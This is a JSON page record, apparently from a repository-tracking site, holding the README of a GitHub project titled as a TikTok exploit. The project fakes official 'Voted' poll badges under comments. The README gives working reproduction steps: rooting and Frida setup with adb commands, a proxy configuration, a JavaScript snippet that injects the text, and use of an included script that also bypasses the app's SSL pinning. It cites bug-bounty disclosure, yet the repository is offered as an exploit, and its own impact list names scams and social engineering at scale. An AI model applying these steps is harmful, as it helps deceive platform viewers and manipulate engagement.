[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-92706":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":10,"languages":9,"totalLinesOfCode":9,"stars":11,"forks":12,"watchers":12,"openIssues":13,"contributorsCount":13,"subscribersCount":13,"size":13,"stars1d":13,"stars7d":13,"stars30d":14,"stars90d":13,"forks30d":13,"starsTrendScore":13,"compositeScore":15,"rankGlobal":9,"rankLanguage":9,"license":9,"archived":16,"fork":16,"defaultBranch":17,"hasWiki":18,"hasPages":16,"topics":19,"createdAt":9,"pushedAt":9,"updatedAt":20,"readmeContent":21,"aiSummary":22,"trendingCount":13,"starSnapshotCount":13,"syncStatus":12,"lastSyncTime":23,"discoverSource":24},92706,"TikTok-Poll-Voting-Exploit","fstr415\u002FTikTok-Poll-Voting-Exploit","fstr415","Modern day TikTok exploit that allows you to fake having the \"Voted on\" text under any tiktok for anyone to see, no matter if the tiktok has the poll or not. Anything you want can be written after \"Voted on\"",null,"JavaScript",66,2,0,10,39.43,false,"main",true,[],"2026-07-22 04:02:06","# TikTok \"Voted\" Badge Injection Vulnerability\n\n**CVE:** N\u002FA (Duplicate — independently discovered)  \n**Platform:** TikTok Android (`com.zhiliaoapp.musically`)  \n**Severity:** High (CVSS 7.7)  \n**Status:** Reported to TikTok via HackerOne — Confirmed Valid  \n\n---\n\n## Summary\n\nThe `aweme\u002Fv1\u002Fcomment\u002Fpublish` endpoint accepts a client-supplied `user_vote_info` parameter containing a free-form `vote_text` field with **no server-side validation**. An attacker can inject arbitrary text which TikTok renders verbatim as an official \"Voted [text]\" badge underneath their comment on any video, regardless of whether that video has a poll.\n\nThis allows any authenticated user to display fake official-looking poll vote badges on any video at scale.\n\n---\n\n## Demo\n\n![Badge appearing on a poll-free video](assets\u002Fbadge_demo.png)\n\n---\n\n## Vulnerability Details\n\n### Endpoint\n```\nPOST https:\u002F\u002Fapi16-normal-no1a.tiktokv.eu\u002Faweme\u002Fv1\u002Fcomment\u002Fpublish\u002F\n```\n\n### Vulnerable Parameter\nWhen posting a comment, TikTok includes a `user_vote_info` field in the request body:\n\n```json\n{\n  \"poll_id\": 1337,\n  \"vote_option\": 1,\n  \"vote_text\": \"check story in bio\"\n}\n```\n\nThe `vote_text` field is entirely client-controlled. TikTok's server:\n- Does **not** validate that the `poll_id` belongs to the target video\n- Does **not** validate that `vote_text` matches any real poll option\n- Does **not** check whether the video has a poll at all\n- Simply stores and renders whatever string the client sends\n\n### Impact\n- **UI Spoofing** — Fake official-looking badges on any video\n- **Social Engineering at Scale** — Direct millions of viewers to external links\u002Faccounts using trusted UI elements\n- **Fake Engagement Metrics** — Misleading poll interaction data\n- **Scam Vector** — \"Voted check my DMs\", \"Voted follow me\", etc. on viral videos\n\n---\n\n## Proof of Concept\n\n### Prerequisites\n- Rooted Android device OR Android emulator with root\n- [Frida](https:\u002F\u002Ffrida.re) installed on your PC\n- Charles Proxy (or any HTTPS proxy)\n- TikTok account\n\n### Method\n\nThe `user_vote_info` parameter is passed to TikTok's `CommentApiV2.LJIILL()` method (method name may vary by app version — rescan if needed) before request signing. We hook this method with Frida to inject custom `vote_text` before TikTok signs the request natively.\n\n**bypass.js** (included in this repo) does two things:\n1. Bypasses TikTok's SSL pinning so Charles can read decrypted traffic\n2. Hooks the comment publish method and injects custom `vote_text`\n\n### Steps to Reproduce\n\n1. Root your Android device and install Frida server\n2. Push `frida-server` to `\u002Fdata\u002Flocal\u002Ftmp\u002F` and start it:\n```bash\nadb push frida-server \u002Fdata\u002Flocal\u002Ftmp\u002F\nadb shell chmod 755 \u002Fdata\u002Flocal\u002Ftmp\u002Ffrida-server\nadb shell su -c \"\u002Fdata\u002Flocal\u002Ftmp\u002Ffrida-server &\"\n```\n\n3. Set Charles as your Android proxy:\n```bash\nadb shell settings put global http_proxy YOUR_PC_IP:8888\n```\n\n4. Edit `bypass.js` — set your desired `vote_text`:\n```javascript\nvar customVoteInfo = JSON.stringify({\n    \"poll_id\": 1337,\n    \"vote_option\": 1,\n    \"vote_text\": \"your text here\"\n});\n```\n\n5. Open TikTok on your device, then attach Frida:\n```bash\nfrida -U -n \"TikTok\" -l bypass.js\n```\n\n6. Post any comment on any video\n7. The badge \"Voted [your text]\" will appear under your comment — visible to all viewers\n\n### Expected Result\n```\n[+] SSL bypass active\n[+] Comment publish hooked — vote_text will be injected on every comment\n[*] Intercepted comment publish\n[*] Original vote_info: null\n[*] Injected vote_info: {\"poll_id\":1337,\"vote_option\":1,\"vote_text\":\"your text here\"}\n```\n\n---\n\n## Technical Details\n\n### How the Hook Works\n\nTikTok's comment publish logic lives in:\n```\ncom.ss.android.ugc.aweme.commentv2.commentlist.CommentApiV2\n```\n\nThe method responsible for building and sending the comment request (obfuscated, may vary by version) accepts `user_vote_info` as a plain string parameter at argument index 25. We intercept it before TikTok's signing process runs, so the signed request contains our injected text — making it indistinguishable from a legitimate request.\n\n### Why Changing Parameters in a Proxy Doesn't Work\n\nTikTok signs every request with `x-argus` and `x-gorgon` headers computed over the request body. Modifying the body in Charles after signing (via Compose\u002FRewrite) breaks these signatures and returns `status_code: 4`. The Frida hook approach works because we modify the data **before** signing occurs — TikTok signs our injected payload natively.\n\n---\n\n## Files\n\n| File | Description |\n|------|-------------|\n| `bypass.js` | Frida script — SSL bypass + vote_text injection |\n| `README.md` | This file |\n| `assets\u002F` | Screenshots and demo footage |\n\n---\n\n## Timeline\n\n| Date | Event |\n|------|-------|\n| June 26, 2026 | Vulnerability discovered |\n| June 26, 2026 | Reported to TikTok via HackerOne (#3830918) |\n| June 27, 2026 | Marked as duplicate — confirmed valid |\n| June 29, 2026 | Youtube video posted |\n\n---\n\n## Disclosure\n\nThis vulnerability was discovered independently and reported responsibly through TikTok's official HackerOne bug bounty program.\n\n**Do not use this for malicious purposes.** This is published for security researchers and developers to understand this class of vulnerability.\n\n---\n\n## Author\n\n**fstr** — Independent security researcher  \nYouTube: [https:\u002F\u002Fwww.youtube.com\u002F@heisfstr]  \nWebsite: [https:\u002F\u002Ffstr.one\u002F]\n","这是一个针对 TikTok Android 应用的 UI 欺骗漏洞利用工具，通过篡改评论请求中的 `user_vote_info.vote_text` 参数，在任意视频下伪造官方样式的“Voted on”投票徽章。其核心原理是利用服务端对 `vote_text` 字段完全缺失校验的缺陷，实现任意文本注入与前端渲染。项目采用 Frida 动态插桩技术绕过 SSL 证书绑定并劫持评论发布逻辑，无需目标视频实际存在投票功能。适用于安全研究、红队渗透测试及平台漏洞验证场景，需具备 rooted Android 环境与逆向调试能力。","2026-07-10 02:30:12","CREATED_QUERY"]